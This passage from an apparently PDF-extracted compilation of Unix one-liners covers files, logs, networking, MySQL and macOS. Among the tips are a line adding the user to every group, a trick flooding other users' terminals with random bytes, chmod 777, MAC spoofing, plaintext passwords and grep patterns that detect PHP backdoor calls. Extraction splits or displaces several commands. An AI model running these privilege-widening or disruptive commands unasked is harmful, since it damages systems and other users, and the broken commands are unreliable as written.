for i in $(getent group|cut -d: -f1); do sudo usermod -a -G "$i" $USER; done
# Say the current time (Mac OS X)
date "+The time is %H:%M" | say
# Summarize size of all files of given type in all subdirectories (in bytes)
SUM=0; for FILESIZE in `find /tmp -type f -iname \*pdf -exec du -b {} \; 2>/dev/null | cut
-f1` ; do (( SUM += $FILESIZE )) ; done ; echo "sum=$SUM"

# Fewer keystrokes to search man page of command


function mg(){ man ${1} | egrep ${2} | more; }
# sudo for launching gui apps in background
sudo -b xterm
# Play Star Wars Episode IV in your terminal ;)
telnet towel.blinkenlights.nl
# hard link file for Windows
fsutil hardlink creat new_file exits_file
# bash function for convenient 'find' in subversion working directories
svn_find () { local a=$1; shift; find $a -not \( -name .svn -prune \) $*; }
# Find a list of all installed packages on a Redhat/CentOS system
rpm -qa | sort | sed -n -e "s/\-[0-9].[0-9]*.*//p" | uniq
# Dump TCP traffic to a host into a text and pcap file
ngrep host 192.168.1.6 -O $(date +%Y%m%d_%H%M%S).pcap > $(date +%Y%m%d_%H%M%S).txt
# Remove color codes (special characters) with sed
sed -r "s@\^\[{1,2}([0-9]{1,2}(;[0-9]{1,2})?(;[0-9])?(m|K){1,2})?@@g"
# Get the current date in a yymmdd-hhmmss format (useful for file names)
date '+%y%m%d-%H%M%S'
# compute the qps according to the latest n lines of logs
tail -n 1000 access.log | grep "200 POST" | awk '{print substr($3,0,9)}' | awk '{data[$0]+
+}END{for(item in data){print item, data[item]}}'
# Calculate different hash sums of one file at the same time
dd if=file | tee >(sha1sum) >(md5sum) >(sha256sum) >/dev/null
# Link all the files in this directory to that directory
cd /this/directory; for f in *; do ln -s `pwd`/$f /that/directory; done
# @mail.com by adding the line in list.txt
while read line; do echo -e "$line@mail.com"; done < list.txt

391 / 658

All UNIX COMMANDS


# Generate a random number in a range
START=20; END=50 echo $(($START+(`od -An -N2 -i /dev/random`)%($END-$START+1)))
# Remove unused libs/packages
aptitude remove $(deborphan)
# command line to optimize all table from a mysql database
mysqlcheck -op -u<user> <db>
# Find artist and title of a music cd, UPC code given (first result only)
curl http://www.discogs.com/search?q=724349691704 2> /dev/null | grep \/release\/ | head -2
| tail -1 | sed -e 's/^<div>.*>\(.*\)<\/a><\/div>/\1/'
# MySQL: Slice out a specific table from a specific database (assumes existence of the USE
statement) from output of mysqldump
mysqldump | sed -n "/^USE \`employees\`/,/^USE \`/p" | sed -n "/^-- Table structure for
table \`departments\`/,/^-- Table structure for table/p"
# Delete all active Brightbox cloud servers
for server in `brightbox-servers list |grep active|awk '{ print $1}'`;do brightbox-servers
destroy $server;done
# Time a process run with simple one line tabbed output
/usr/bin/time -f "%E real\t%U user\t%S sys" pipeline
# Only change the first occurrence of the pattern
sed -i "0,/enabled/{s|enabled=0|enabled=1|}" /etc/yum.repos.d/remi.repo
# Convert unix timestamp to date
date -d @1234567890
# Get some useful output from tcpdump
tcpdump -nvvX -s 768 src x.x.x.x and dst port 80
# Download current stable kernel version from kernel.org
wget --no-check-certificate https://www.kernel.org/$(wget -qO- --no-check-certificate
https://www.kernel.org | grep tar | head -n1 | cut -d\" -f2)
# This is a specialized command for Ericsson CS5.2 - Getting the test case trace on SDP
tail -1f /var/opt/fds/logs/TraceEventLogFile.txt.0 | grep <msisdn> | tee <test-caseid>.trace | tr '|' '\n'

# Restart nautilus
nautilus -q
# use the short username by default for network authentication
defaults write /Library/Preferences/com.apple.NetworkAuthorization UseShortName -bool YES
# Stop Mac OSX from creating .DS_Store files when interacting with a remote file server with
the Finder
defaults write com.apple.desktopservices DSDontWriteNetworkStores true
# simple du command to give size of next level of subfolder in MB
du --max-depth=1 -B M |sort -rn
# Dump MySql to File
mysqldump --opt -uUSERNAME -pPASSWORD -h mysql.host.com database > ~/filename.sql

392 / 658

All UNIX COMMANDS


# MySQL: Strip a my.cnf file from comments, remove blank lines, normalize spaces:
cat my.cnf | sed '/^#/d' | sed '/^$/d' | sed -e 's/[ \t]\+//g'
# Destroy all unmapped Brightbox Cloud IPs
for ip in `brightbox-cloudips list |grep unmapped|awk '{ print $1}'`;do brightbox-cloudips
destroy $ip;done
# awk date convert
awk '{cmd="date --date=\""$1"\" +\"%Y/%m/%d %H:%M:%S\" "; cmd | getline convdate; print
cmd";"convdate }' file.txt
# Join the content of a bash array with commas
printf "%s," "${LIST[@]}" | cut -d "," -f 1-${#LIST[@]}
# find your public ip address easily
dig @resolver1.opendns.com myip.opendns.com | grep ^myip.opendns.com | tr '\t' : | cut -d:
-f5
# Clear terminal screen as well as terminal buffer
printf "\ec"
# Generate a random password.
echo $(< /dev/urandom tr -dc _A-Z-a-z-0-9 | head -c10)
# Find the process ID of such program:
pgrep xterm
# list files not owned by any user or group
find / -nouser -o -nogroup -print
# Emulate a dual-screen using vnc
x2vnc {-west|-east|-north|-south} computer-ip:display-number
# Count occurrences of a word/token in a file
find . -name file.txt | xargs -e grep "token" -o | wc -l
# reassign pipe key from AltGr-1 to AltGr-7 in X11
xmodmap -e 'keycode 10 = 1 plus brokenbar exclamdown brokenbar exclamdown' ;
'keycode 16 = 7 slash bar seveneighths bar seveneighths'

xmodmap -e

# Delete the previous entry in your history


alias histdel='history -d $((HISTCMD-2)) && history -d $((HISTCMD-1))'
# Convert encoding of a file
iconv -f utf8 -t utf16 /path/to/file
# Install unrar on Linux box from sources
cd /usr/src ; wget http://www.rarlab.com/rar/unrarsrc-4.0.2.tar.gz ; tar xvfz unrarsrc4.0.2.tar.gz ; cd unrar ; ln -s makefile.unix Makefile ; make clean ; make ; make install
# easier sudo apt-get install
alias sagi="yes | sudo apt-get install"
# Remove the first line containing 'match' from file
sed -i "$(grep -nm 1 match file|cut -f1 -d:)d" file
# MySQL: normalize parameter names on my.cnf configuration file

393 / 658

All UNIX COMMANDS


cat my.sandbox.cnf | awk -F "=" 'NF < 2 {print} sub("=", "=~placeholder~=") {print}' | awk
-F "=~placeholder~=" 'NF < 2 {gsub("-", "_", $0); print} NF==2 {gsub("-", "_", $1); print $1
"=" $2}'
# Create patch file for two directories
diff -ru originDir updateDir > result.patch
# Switch workspace
wmctrl -o 100,0

# all out
pkill -9 -u username
# save manpage as html file
zcat `man -w manpage` | groff -mandoc -T html - > filename.html
# Opens up cached flash plugin video files(linux)
vlc $(for f in /proc/$(pgrep -f libflashplayer.so |head -n 1)/fd/*; do ;if $(file ${f} |
grep -q "broken symbolic link to \`/tmp/FlashXX"); then echo ${f};fi;done)
# send an email through linux command line van be achieved by
mail -s "myip" youremail@domain.com
# Get the number of open sockets for a process
ps aux | grep [process] | awk '{print $2}' | xargs -I % ls /proc/%/fd | wc -l
# number kill your terminal
for ((i=0; i>-1000; --i)); do echo "${!i}"; done
# Erase empty files
find . -size 0 -exec rm '{}' \;
# generate random password
cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 10 | sed 1q
# Check if zip files from current directory are good
find . -maxdepth 1 -name "*.zip" -exec unzip -tqq {} \;
# Merge various PDF files
gs -dNOPAUSE -sDEVICE=pdfwrite -sOUTPUTFILE=output.pdf -dBATCH first.pdf second.pdf
# Find all PowerPC applications on OS X
system_profiler SPApplicationsDataType | grep -A3 -B4 "Kind: PowerPC"
# Which PATH variable should I use for this scirpt?
whichpath() { local -A path; local c p; for c; do p=$(type -P "$c"); p=${p%/*}; path[$
{p:-/}]=1; done; local IFS=:; printf '%s\n' "${!path[*]}"; }
# Report summary of string occurrence by time period (hour)
cat z.log | grep Timeout | cut -d ':' -f1 | sort | uniq -c
# open manpage in browser
man -HBrowser manpage
# Gets directory size on sub directories in current dir with human readable size
du -h --max-depth=1
# count & sort one field of the log files

394 / 658

All UNIX COMMANDS


tail -1000 `ls -ltr /var/log/CF* |tail -1|awk '{print $9}'`|cut -d "," -f 17|sort|uniq -c |
sort -k2
# Copy with TAR PV and NC
while true; do nc -l -p 50002 | pv | tar -xf -; done
# Diff two directories by finding and comparing the md5 checksums of their contents.
diff <(sort <(md5deep -b -r /directory/1/) ) <(sort <(md5deep -b -r /directory/2/)
# Empty a file
> [filename].txt
# Find out what files are changed or added in a git repository.
git log --name-only | less
# replace deprecated php-function split in php files
sed -i s/split\(/explode\(/ whatever.php
# Source multiline grep with pcregrep
pcregrep --color -M -N CRLF "owa_pattern\.\w+\W*\([^\)]*\)" source.sql
# Recursive source regexp search with pcregrep
pcregrep -r --exclude_dir='.svn' --include='.*jsp$'

-A 2 -B 2 --color

"pHtmlHome" .

# redirecting stdout of multiple commands


{ command1 args1 ; command2 args2 ; ... }
# Execute the command given by history event number
!<number>

# Report summary of string occurrence by time period (hour) - alternate


cat z.log | cut -d ':' -f1 | sort | uniq | xargs -l1 -iFF echo 'echo FF $(cat z.log | grep
-e "^FF" | grep -e Timeout | wc -l )' | bash
# Kill all background jobs
jobs | grep -o "[0-9]" | while read j; do kill %$j; done
# sudo ssh -D 88 -fN user@xxxx.no-ip.info
sudo ssh -D 88 -fN user@xxxx.no-ip.info
# Add current directory to Ruby load path
echo "$: << '.'" >> $IRBRC
# Open/modify .odt in nano with indentation
unzip document.odt content.xml && xmlindent -w content.xml && nano content.xml
# extract email adresses from some file (or any other pattern)
grep -aEio '([[:alnum:]_.-]+@[[:alnum:]_.-]+?\.[[:alpha:].]{2,6})'
# Synchronize date and time with a server over ssh (BusyBox-friendly)
date -u `ssh user@remotehost date -u '+%m%d%H%M%Y.%S'`
# Fast grepping (avoiding UTF overhead)
export LANG=C; grep string longBigFile.log
# convert flv into avi file and mp3 sound
mencoder input.flv -ovc lavc -oac mp3lame -o output.avi

395 / 658

All UNIX COMMANDS


# Read just the IP address of a device
ifconfig -l | xargs -n1 ipconfig getifaddr 2> /dev/null
# Generate MD5 of string and output only the hash checksum in a readable format
echo -n "String to MD5" | md5sum | sed -e 's/../& /g' -e 's/ -//'
# Count new mail
mail -H | grep '^.U' | wc -l
# read old reversion of file
cvs up -r1.23 -p main.cpp | vim # print an 'hello world'
echo 'hello world'
# a function to find the fastest free DNS server
timeDNS () { { for x in "${local_DNS}" "208.67.222.222" "208.67.220.220" "198.153.192.1"
"198.153.194.1" "156.154.70.1" "156.154.71.1" "8.8.8.8" "8.8.4.4"; do ({ echo -n "$x "; dig
@"$x" "$*"|grep Query ; }|sponge &) done ; } | sort -n -k5 ; }
# Command line calculator
alias calc='python -ic "from math import *; from random import *"'
# gets all files committed to svn by a particular user since a particular date
svn log -v -r{2009-11-1}:HEAD | awk '/^r[0-9]+ / {user=$3} /./{if (user=="george") {print}}'
| grep -E "^
M|^
G|^
A|^
D|^
C|^
U" | awk '{print $2}' | sort | uniq
# Remove invalid key from the known_hosts file for the IP address of a host
for HOSTTOREMOVE in $(dig +short host.domain.tld); do ssh-keygen -qR $HOSTTOREMOVE; done
# Count loglines by time (minute)
cat z.log | cut -d ':' -f1,2 | uniq -c
# Matrix Style
(set -o noglob;while sleep 0.05;do for r in `grep -ao '[[:print:]]' /dev/urandom|head -$
((COLUMNS/3))`;do [ $((RANDOM%6)) -le 1 ] && r=\ ;echo -ne "\e[$((RANDOM%7/-6+2));32m $r
";done;echo;done)
# mount virtualbox share
mount -t vboxfs share /mnt/mount-point
# Remaining Disk space for important mounted drives
df -H | grep -vE '^Filesystem|tmpfs|cdrom|none' | awk '{ print $5 " " $1 }'
# Transfer 1 file with ssh
cat filein | ssh destination.com -c arcfour,blowfish-cbc -C -p 50005 "cat - > /tmp/fileout"
# List cassandra snapshots by date
find /var/lib/cassandra/data -depth -type d -iwholename "*/snapshots/*" -printf "%Ty-%Tm-%Td
%p\n" | sort
# Prefix every line with a timestamp
any command | sed "s/^/\[`date +"%Y%m%d%H%M%S"`]/"

# svn resume deleted file


svn copy http://svnserver.com/svn/trunk/htdocs/CMS/views/module/scripts/modal/dialogsettings-items.phtml@3143 -r 3143 htdocs/CMS/views/module/scripts/modal/dialog-settingsitems.phtml

396 / 658

All UNIX COMMANDS


# Get your public ip
curl -s http://icanhazip.com/
# Check syntax of all Perl modules or scripts underneath the current directory
for code in $(find . -type f -name '*.p[ml]'); do perl -c "$code"; done
# Use a variable in a find command.
find . -iname \*${MYVAR}\* -print

Useful in scripting.

# Get the amount of users currently registered at the DudaLibre.com Linux Counter.
curl --silent http://www.dudalibre.com/gnulinuxcounter?lang=en | grep users | head -2 | tail
-1 | sed 's/.*<strong>//g' | sed 's/<\/strong>.*//g'
# List your MACs address
echo | ifconfig | grep HWaddr
# reverse order of file
printf "g/^/m0\nw\nq"|ed $FILE
# Put at the end of the rsa public key an comment(default value is the hostname)
ssh-keygen -C hello@world
# Multi (file)source SSH host tab-completion
complete -W "$( { awk '/^Host / { print $2 }' ~/.ssh/config | egrep -v '\*|,'
echo $
( grep '^ssh ' .bash_history | sort -u | sed 's/^ssh //' )
while IFS=' ,' read host t;
do echo $host; done < ~/.ssh/known_hosts ;} )" ssh
# mount remote directory
sshfs user@host:/path/to/remote/dir local-mount-point
# Screenshot in $1 seconds, upload and retrieve URI from ompdlr.org
scrotit(){ echo "Screenshot in $1 seconds...";scrot -d $1 '%Y%m%d%h.png' -e 'curl -sF
file1=@- http://ompldr.org/upload < $f | grep -P -o "(?
<=File:).*(http://ompldr.org/.*)\<\/a\>";rm $f'| sed -r
's@.*(http://ompldr.org/\w{1,7}).*@\1@';}
# find potentially malicious PHP commands used in backdoors and aliked scripts
find ./public_html/ -name \*.php -exec grep -HRnDskip "\(passthru\|shell_exec\|system\|
phpinfo\|base64_decode\|chmod\|mkdir\|fopen\|fclose\|readfile\) *(" {} \;
# SSH folder with progress bar and faster encryption with compression
cd /srcfolder; tar -czf - . | pv -s `du -sb . | awk '{print $1}'` | ssh -c
arcfour,blowfish-cbc -p 50005 root@destination.com "tar -xzvf - -C /dstfolder"
# LDAP list of users and their details
ldapsearch -x -LLL uid=*
# Copy your ssh public key to a server from a machine that doesn't have ssh-copy-id
brew install ssh-copy-id; ssh-copy-id user@host
# Send a message to Kodi (XBMC)
curl -X POST -H "Content-Type: application/json" -d
'{"jsonrpc":"2.0","method":"GUI.ShowNotification","params":{"title":"This is the title of
the message","message":"This is the body of the message"},"id":1}'
http://i3c.pla.lcl:8080/jsonrpc
# List all packages with no dependencies (yum based system)
package-cleanup --leaves --all

397 / 658

All UNIX COMMANDS


# grep or
egrep 'string1|string2' file
# Send Disk usage via email
#!/bin/sh #du.sh i=`hostname -i` df -h > /tmp/space.txt echo "server $i " >> /tmp/space.txt
uuencode /tmp/space.txt space.txt | mail -s "HDD usage $i" email@email.com
# reload config
source .bashrc
# Install evertything with the prefix pidgin or wathever
apt-cache search pidgin* | awk '{print$ 1}' | tr '\n' ' ' | xargs aptitude -y install
# Make a HTTP request using curl with POST method
curl --verbose -d "hello=world" http://mydomain.com
# encrypt file.txt using a symmetric password
gpg -c file.txt
# List contents of a deb package
dpkg -c deb_package
# Show all listening and established ports TCP and UDP together with the PID of the
associated process
lsof -ni

# Get all git commits of a specific author in a nice format


git log --name-status --author="[The Author's Name]"
# run a command repeatedly indefinately
while true ; do killall mc ; done
# List the size (in human readable form) of all sub folders from the current location
du . | sort -nr | awk '{split("KB MB GB TB", arr); idx=1; while ( $1 > 1024 ) { $1/=1024;
idx++} printf "%10.2f",$1; print " " arr[idx] "\t" $2}' | head -25
# Rerun a command until there are no changes, but no more than N times.
for times in $(seq 10) ; do puppet agent -t && break ; done
# TCPDUMP & Save Capture to Remote Server
tcpdump -i eth0 -w - | ssh savelocation.com -c arcfour,blowfish-cbc -C -p 50005 "cat - >
/tmp/eth0.pcap"
# Find the processes that are on the runqueue.
ps r -A

Processes with a status of

# changing permissions to many folders, sub folders and files in the current directory.
for i in * ; do chmod -R 777 $i;done
# Rename many files in directories and subdirectories
find . -type d -print0 | while read -d $'\0' dir; do cd "$dir"; echo " process $dir"; find .
-maxdepth 1 -name "*.ogg.mp3" -exec rename 's/.ogg.mp3/.mp3/' {} \; ; cd -; done
# Send SNMP traps
sudo snmptrap -m ALL -v 2c -c public trapserver "" UCD-DEMO-MIB::ucdDemoPublic SNMPv2MIB::sysLocation.0 s "Just here"
# make directory

398 / 658

All UNIX COMMANDS


mkdir /tmp/dir1/{0..20}
# bash: display CURRENT time in prompt, when entering a command
$ echo -e '\n## [hu_HU]Aktualis ido/datum a prompt-ba (PS1)\n# TraceBack:
http://goo.gl/MlkcQ\nPS1="@\$(date +%H:%M:%S) $PS1"\n' >>~/.bashrc
# Copy all file differences to an existing mirror location
diff -Naur /source/path /target/path --brief | awk '{print "cp " $2 " " $4}' | sh
# Make "pcap" file
tcpdump -i eth0 -s 65535 -w test_capture
# List LVM Volume Groups as an unprivileged user
cat /sys/block/{*,*/*}/holders/dm*/dm/name | awk -F- '{print $1}' | sort -u
# TCPDUMP & Save Capture to Remote Server w/ GZIP
tcpdump -i eth0 -w - | ssh forge.remotehost.com -c arcfour,blowfish-cbc -C -p 50005 "cat - |
gzip > /tmp/eth0.pcap.gz"
# rip all tracks of the cd then convert all *wav files in *mp3
cdparanoia -wB 1-; for i in *.wav; do lame -h -b 192 "$i" "`basename "$i" .wav`".mp3; done
# Current sub-folders sizes
du -sh *
# Rearrange words from a file
perl -lane 'print "$F[0]:$F[1]:$F[2]"' myfile
# Update twitter via curl as Function
tweet(){ curl -u "$1" -d status="$2" "http://twitter.com/statuses/update.xml"; }
# Converts ext2 to ext3
tune2fs -j /dev/sdX
# Find Man pages for everything in your $PATH
unset MANPATH; manpath >/dev/null
# Use a variable in a find command.
find "$1" -iname "*$2*"

Useful in scripting.

# Locate config files of the program


strace -e open zim 2>&1 1>/dev/null | fgrep ~ | fgrep -v "= -1" | cut -d'"' -f2
# remove files of a specific size
find . -size 1400c -exec rm {} \;
# DD with progressbar using pv for backing up entire block device
sudo dd if=/dev/block/device bs=1MB | pv -s `sudo blockdev --getsize64 /dev/block/device' |
gzip -9 > output.img.gz

# Generate Random Text based on Length


genRandomText() { a=( a b c d e f g h i j k l m n o p q r s t u v w x y z );f=0;for i in $
(seq 1 $(($1-1))); do r=$(($RANDOM%26)); if [ "$f" -eq 1 -a $(($r%$i)) -eq 0 ]; then echo -n
" ";f=0;continue; else f=1;fi;echo -n ${a[$r]};done;echo"";}
# Remove all missing SVN files from the repository
svn stat | grep ^\! | awk '{print $2}' | xargs svn del

399 / 658

All UNIX COMMANDS


# Display IP addresses Pidgin IM Client is connected to
lsof -p `pidof pidgin` | awk '{ print $9 }'|egrep `hostname` | grep -o ">[^:]\+:" | tr -d
":>" | while read line; do host $line; done;
# empty a gettext po-file (or, po2pot)
msgfilter --keep-header --input input.po awk '{}' | sed '/^#$/d; /^#[^\:\~,\.]/d' >empty.po
# Find LVM Volume Group name for a block device
cat /sys/block/md1/holders/dm*/dm/name | awk -F- '{print $1}' | sort -u
# Compile all jpegs into 1 video by alphabetical order @ 50 fps
mencoder mf://*.jpg -mf fps=50:type=jpg -ovc raw -oac copy -o out50fps.avi
# Detect broken video files with mplayer and bash in the current directory
for i in *.flv *.mkv *.avi; do mplayer -ao null -vo null -ss 0 -endpos 1 >/dev/null "$i" 2>
>(grep -qi error && echo >&2 "$i seems bad"); done
# Bingo-like raffle
yes 'echo $(( RANDOM%100+1 )); sleep 5' | bash
# Berechtigungen nach einer Referenz ?ndern
sudo chmod --reference=Referenz.foo Datei.foo
# Send a file to a pastebin from STDIN or a file, with a single function
sprunge() { curl -F 'sprunge=<-' http://sprunge.us < "${1:-/dev/stdin}"; }
# how to like to know if a host is ON
for ip in $(seq 1 25); do ping -c 1 192.168.0.$ip>/dev/null; [ $? -eq 0 ] && echo
"192.168.0.$ip UP" || : ; done
# fetch 1600 jokes from robsjokes.com into a single file, which is fortunable
for i in `seq -w 1600` ; do links -dump http://www.robsjokes.com/$i/index.html | sed
'/Random Joke/,/Next Joke/!d' | sed '/^$/,/^$/!d' >> ~/temp/Rob.jokes ; echo '%' >>
~/temp/Rob.jokes ; done
# add all files not under version control to repository
svn add $(svn st|grep ^\?|cut -c2-)
# Make a playlistfile for mpg321 or other CLI player
find /DirectoryWhereMyMp3sAre/ -name *.mp3 | grep "andy" > ~/mylist
# install package which provides some libraries in fedora
yum whatprovides /usr/lib/libXX1.so /usr/lib/libXX2.so | grep fc | sed 's/^\(.*\)-[09.]*-.*$/\1/' | sort | uniq | xargs yum -y install
# get newest file in current directory
find . -maxdepth 1 -printf '%A@\t%p\n' | sort -r | cut -f 2,2 | head -1
# Set executable permissions only to executable files
while IFS= read -r -u3 -d $'\0' file; do
file "$file" | egrep -q 'executable|ELF' &&
chmod +x "$file"; done 3< <(find . -type f -print0)
# Find the mounted storages
sudo find . -name "syslog*.gz" -type f | xargs gzip -cd | grep "Mounted"
# highlight chars or words in program output
#!/bin/zsh SHL='\\e[0;31m' EHL='\\e[0m' while read line; do
TEXT=$line
do
TEXT=$(echo $TEXT | sed -e "s:$SSTR:${SHL}${SSTR}${EHL}:g")
done
done

400 / 658

for SSTR in $*;


echo -e $TEXT

All UNIX COMMANDS


# Testing php configuration
php -e -c /path/to/php.ini -r 'echo "OK\n";';
# extraer la MAC del comando ifconfig
ifconfig eth0 | grep HW | cut -d " " -f 11
# Graphically display directory structure
ls -R | grep ":$" | sed -e 's/:$//' -e 's/[^-][^\/]*\//--/g' -e 's/^/

/' -e 's/-/|/'

# MEMORY DUMP ACROSS NETWORK 4 CYGWIN


wmr - | pv -s $SIZEOFMEM | ssh -p 40004 -c arcfour,blowfish-cbc -C root@savelocation.com
"cat - > /forensics/T430-8gb-RAM1.dd"
# Bluetooth hardware info
hciconfig;hciconfig -a hci0;lsmod |grep bt;dmesg | grep tooth
# let the cow suggest some commit messages for you
wget -qO- http://whatthecommit.com/index.txt | cowsay

# hello, world
perl -e "''=~('(?{'.('-^@.]|(;,@/{}/),[\\\$['^'],)@)[\`^@,@[*@[@?}.|').'})')"
# recursively change file name extensions
find . -type f -name \*.c | while read f; do mv $f "`basename $f .c`".C; done
# Compare a file with the output of a command or compare the output of two commands
vimdiff foo.c <(bzr cat -r revno:-2 foo.c)
# Spoof your wireless MAC address on OS X to 00:e2:e3:e4:e5:e6
sudo ifconfig en1 ether 00:e2:e3:e4:e5:e6
# Iterate through a file where instead of Newline characters, values are separated with a
non-white space character.
while [[ COUNTER -le 10 && IFS=':' ]]; do for LINE in $(cat /tmp/list); do some_command(s)
$LINE; done; COUNTER=$((COUNTER+1)); done
# File without comments or blank lines.
gawk '!/^[\t\ ]*#/{print $0}' filename | strings
# for all who don't have the watch command
watch() { if [ -z "$1" ]; then echo "usage: watch interval command" return fi sec=$1 shift
while test :; do clear; date=$(date); echo -e "Every "$sec"s: $@ \t\t\t\t $date"; echo $@;
sleep $sec; done }
# You can't do that on sed
perl -p -e 's/\\n/\n/g'
# Open a different file for edition on a vertical split screen inside your vim session
:vsplit filename
# Count words in a TeX/LaTeX document.
pdftotext file.pdf - | wc -w
# get the current weather in NYC, in human readable form
curl -s poncho.is/forecast/new_york/today/ | grep -E 'og:title|og:description' | cut -d\"
-f4 | awk '{print $0,"<p>"}' | lynx -stdin -dump
# Schedule one job after another (running).

401 / 658

All UNIX COMMANDS


while ps -p $PID; do sleep 1; done; script2
# Total procs, avg size (RSS) and Total mem use
ps awwwux | grep httpd | grep -v grep | awk '{mem = $6; tot = $6 + tot; total++}
END{printf("Total procs: %d\nAvg Size: %d KB\nTotal Mem Used: %f GB\n", total, mem / total,
tot / 1024 / 1024)}'
# dos2unix
$ perl -pi -e 's/\r\n/\n/g' <finelame>
# Copy files from list with hierarchy
cat files.txt | xargs tar -cv | tar -x -c $DIR/
# Get number of diggs for a news URL
curl -s "http://services.digg.com/stories?
link=$NEWSURL&appkey=http://www.whatever.com&type=json"
diggs

| python -m simplejson.tool | grep

# Mount Windows shared folder (or Samba share)


smbmount //<ip>/<resource> <local_mount_point>
# Kill all windows in one go in
bindkey ^f at "#" kill

gnu screen

# YouTube Convert and Download All User's Videos to MP3s on the fly
Command in description (Your command is too long - please keep it to less than 255
characters)
# Kill a process by its partial name
killall -r 'a regular expression'
# Add DuckDuckGo Search as search provider on gnome-shell
cd /usr/share/gnome-shell/search_providers/ && cat google.xml | sed
"s/www.google.com\/search/duckduckgo.com\//; s/Google/DuckDuckGo/g" > duckduckgo.xml
# make directory
$ mkdir -p /tmp/dir1/{0..20}
# view all console fonts
#!/bin/bash cd /usr/share/consolefonts/; for i in * ; do setfont; echo "testing >> $i <<
font" ; setfont $i ; showconsolefont ; sleep 5 ; clear ; done
# Graphical tree of sub-directories
find . -type d |sed 's:[^-][^/]*/:--:g; s:^-: |:'
# make a central proxy access from where it's high speed link available.
socat TCP4-LISTEN:3128,reuseaddr,fork TCP6:[xxxx:xxxx::xxxx]:3128

# Massive rename filenames


for i in `find -name '*_test.rb'` ; do mv $i ${i%%_test.rb}_spec.rb ; done
# show 20 last modified files in current directory including subdirectories
find . -type f -printf "%T@ %Tc %p\n" |sort -n |cut -d' ' -f2- |tail -n20
# View all file descriptors owned by a process
sudo lsof -p `sudo ps aux | grep -i neo4j | grep -v grep | awk '{ print $2 }'`
# Generate an XKCD #936 style 4 word password

402 / 658

All UNIX COMMANDS


word=$(shuf -n4 /usr/share/dict/words); for w in ${word[@]}; do
p+=$w; done; echo $p

w=${w^}; w=${w//\'/};

# get md5sum for all files, skipping svn directories


find $1 -not -iwholename "*.svn*" -type f | xargs md5sum | awk '{print $2 "\t" $1}'
# How to convert a Shapefile to GeoJSON
ogr2ogr -f GeoJSON output.geojson input.shp
# alias dir to ls -al
alias dir="ls -al"
# Backup your precious Tomato Router Stats
curl http://root:PASSWORD@ROUTER_DYN_DNS/bwm/tomato_rstatsa001839ceb1d4.gz?_http_id=HTTPID >
$HOME/Dropbox/Backups/tomato_stats.gz
# List all mounted drives and their accompanying partitions from OS X Terminal
diskutil list
# Get acurate memory usage of a Process in MegaBytes
pmap $(pgrep [ProcessName] -n) | gawk '/total/ { a=strtonum($2); b=int(a/1024); printf b};'
# Count files by extension
find . -type f | sed -n 's/..*\.//p' | sort -f | uniq -ic
# Provides external IP, Country and City in a formated manner.
function geoip() { curl -s "http://www.geoiptool.com/en/?IP=$1" | html2text | egrep --color
"IP Address:|Country:|City:|Longitude:|Latitude:|Host Name:" }
# Compress PDF
gs -sDEVICE=pdfwrite -dCompatibilityLevel=1.4 -dPDFSETTINGS=/screen -dNOPAUSE -dQUIET
-dBATCH -sOutputFile=output.pdf input.pdf
# Recreate md5 checksum files for files in folder and subfolders
find . -type f \! -name "*.md5" -exec sh -c 'md5sum "$1" > $1.md5' -- {} \;
# Get URL's from a webpage
curl url | egrep -o '(http|https)://[a-z0-9]*\.[a-z0-9]*\.[a-z0-9]*'|sort |uniq
# Check if TCP port 25 is open
(echo >/dev/tcp/localhost/25) &>/dev/null && echo "TCP port 25 open" || echo "TCP port 25
close"
# bzip2 all files in a directory older than 1 week (nicely)
find /logdir -type f -mtime +7 -print0 | xargs -0 -n 1 nice -n 20 bzip2 -9
# Clear IPC Message Queue
ipcs -a | grep 0x | awk '{printf( "-Q %s ", $1 )}' | xargs ipcrm
# Convert a DMG file to ISO in OS X Terminal
hdiutil convert /path/imagefile.dmg -format UDTO -o /path/convertedimage.iso
# How to get full tread dump for java process
kill -3 PID
# Check the MD5
diff -ua <(w3m -dump http://www.php.net/downloads.php|fgrep -A1 '5.2.15 (tar.bz2)'|awk
'/md5:/{print $2}') <(md5sum php-5.2.15.tar.bz2|awk '{print $1}')
# Get a list of IP Addresses that have failed to login via SSH

403 / 658

All UNIX COMMANDS


cat /var/log/auth.log | grep -i "pam_unix(sshd:auth): authentication failure;" | cut -d' '
-f14,15 | cut -d= -f2 | sort | uniq
# Place the argument of the most recent command on the shell
!$
# Generate Random Text based on Length
genRandomText() { cat /dev/urandom|tr -dc 'a-zA-Z'|head -c $1 }
# List all images in icon/cursor files
icotool -l demo.ico

# Parallel copy - Faster copy


find Files/ -type d | parallel
'rsync -a {} MKD/$(dirname {})'

'mkdir -p /BKP/{}' && find Files/ -type f

| parallel

# add a change in git that you have just checked using git diff
^diff^add
# Search recursively to find a word or phrase in certain file types, such as C code
find . -name "*.[ch]" -exec grep -i /dev/null "search pharse" {} \;
# Create a package list for offline download
sudo apt-get <apt-get command and options> --print-uris -qq | sed -n "s/'\([^ ]\+\)' \([^ ]\
+\) \([^ ]\+\) MD5Sum:\([^ ]\+\)/wget -c \1/p" > dowload_deb_list.txt
# SSH Auto-login with password
SSHPASS='your_password' sshpass -e ssh me@myhost.com
# find php command backdoor
grep -RPl --include=*.{php,txt,asp} "(passthru|shell_exec|system|phpinfo|base64_decode|
chmod|mkdir|fopen|fclose|readf?ile) *\(" /var/www/
# Opens up a background session within an existing fron-end session
screen
# Annoy everyone on your system
tmpIFS=IFS; IFS='\n'; users=`who | awk '{print $1}'`; for u in users; do; write $u <
/dev/urandom &; done; IFS=tmpIFS
# Passwordless mysql{,dump,admin} via my.cnf file
echo -e "[client]\nuser = YOURUSERNAME\npassword = YOURPASSWORD" > ~/.my.cnf
# Test network performance, copying from the mem of one box, over the net to the mem of
another
dd if=/dev/zero bs=256M count=1 | nc [remoteIP] [remotePort] and on the other host nc -l
port >/dev/null
# Check if a .no domain is available
check_dns_no() { for i in $* ; do if `wget -O - -q
http://www.norid.no/domenenavnbaser/whois/?query=$i.no | grep "no match" &>/dev/null` ; then
echo $i.no "available" ; fi ; sleep 1 ;done }
# Recursively grep thorugh directory for string in file.
find directory/ -exec grep -ni phrase {} +
# Convert an ISO file to DMG format in OS X Terminal
hdiutil convert /path/imagefile.iso -format UDRW -o /path/convertedimage.dmg

404 / 658

All UNIX COMMANDS


# File without comments or blank lines.
sed 's/^[[:blank:]]*//; s/^#.*//; /^$/d' filename
# Concating pdf files
